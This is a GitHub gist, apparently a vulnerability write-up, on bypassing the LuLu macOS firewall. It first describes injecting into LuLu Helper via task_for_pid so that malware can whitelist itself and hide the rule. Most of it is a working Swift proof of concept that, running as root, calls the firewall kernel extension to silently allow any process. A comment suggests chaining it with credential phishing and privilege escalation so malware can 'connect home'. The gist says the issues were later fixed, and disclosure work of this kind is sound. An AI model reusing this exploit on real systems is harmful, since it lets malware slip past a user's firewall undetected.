Last active
March 25, 2021 23:17
-
-
Save xpcmdshell/a808cc8f6ca3219d5ca29766a87a931d to your computer and use it in GitHub Desktop.
Revisions
-
xpcmdshell revised this gist
Mar 25, 2021 . 1 changed file with 4 additions and 0 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -98,3 +98,7 @@ if status != KERN_SUCCESS { print("Rule has been silently added, this should not show up in the LuLu UI.") } ``` This was fixed by validating the XPC client through its audit token. Probably happened when things got rewritten for the new Network Extension system. -
xpcmdshell created this gist
Mar 25, 2021 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,100 @@ # LuLu bypasses LuLu Helper (`/Applications/LuLu.app/Contents/Library/LoginItems/LuLu Helper.app/Contents/MacOS/LuLu Helper`) is the user mode GUI app that communicates with the kernel extension, and provides a nice interface for the user to define and view socket filtering rulesets (block/allow). The kernel extension is responsible for performing socket creation filtering based on these user defined rulesets. The user mode helper sends ruleset and preferences creation, deletion, and modification requests by calling methods in an exported interface (`XPCDaemonProtocol`) on an exported XPC object. The XPC service it connects to is `com.objective-see.lulu`. The LuLu Helper ships with the `get-task-allow` entitlement, so any program can get its task port using `task_for_pid()`. ``` [ λ ~ ] jtool --ent "/Applications/LuLu.app/Contents/Library/LoginItems/LuLu Helper.app/Contents/MacOS/LuLu Helper" <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>com.apple.security.get-task-allow</key> <true/> </dict> </plist> ``` Combining these, we can inject a payload into the user mode helper via `task_for_pid()` that calls the exported `-[XPCDaemonClient addRule:action:]` method with a rule that whitelists our malware. Additionally, since we have code execution in the user mode app, we can alter how the application responds to results returned by the `-[XPCDaemonClient getRules:]`. We can cause the user mode helper to not display our malware whitelist rule to the user if they go to view the list of active rules. This appears to have been killed in v1.2.0 when Patrick added `hardened runtime` to all parts of the application. - - - - It’s still possible to connect to the advertised mach service using by matching `com_objective_see_firewall` and calling external method 2 with an input struct containing the pid to act upon, and an action (`block` or `allow`). Sample code: ```swift // The LuLu kernel extension doesn't currently verify that the service client is signed by // Objective-See, but it does restrict clients that aren't root. If you're root, you can // connect and add an active rule that doesn't show up in the UI. // // Do a local cred phish, elevate privileges, have malware whitelist itself, then connect home? // Author: actae0n import Foundation import IOKit // A few useful constants let RULE_STATE_BLOCK: UInt64 = 0 let RULE_STATE_ALLOW: UInt64 = 1 let ioServiceName = strdup("com_objective_see_firewall") var serviceObj: io_service_t = 0; var status: kern_return_t var connectionHandle: io_connect_t = 0 var targetPid: UInt64 = 0 if CommandLine.argc < 2 { print("Usage: ./\(ProcessInfo.processInfo.processName) [pid to whitelist]") exit(-1) } if let possiblePid = UInt64(CommandLine.arguments[1]) { targetPid = possiblePid } else { print("Argument must be a pid") exit(-1) } // Look up the IOService by name serviceObj = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(ioServiceName)) if serviceObj == 0 { print("Failed to find matching service!") exit(-1) } else { print("Got matching service...") } // Connect to the mach service status = IOServiceOpen(serviceObj, mach_task_self_, 0, &connectionHandle) if status != KERN_SUCCESS { print("Failed to connect!") exit(-1) } else { print("Connection established...") } // 2 inputs, a rule and a pid var inputCount: UInt32 = 2 var input = [UInt64](repeatElement(0, count: Int(inputCount))) // Action: Allow input[0] = RULE_STATE_ALLOW // Pid input[1] = targetPid status = IOConnectCallScalarMethod(connectionHandle, 2, input, inputCount, nil, nil) if status != KERN_SUCCESS { print("Failed to add rule") } else { print("Rule has been silently added, this should not show up in the LuLu UI.") } ```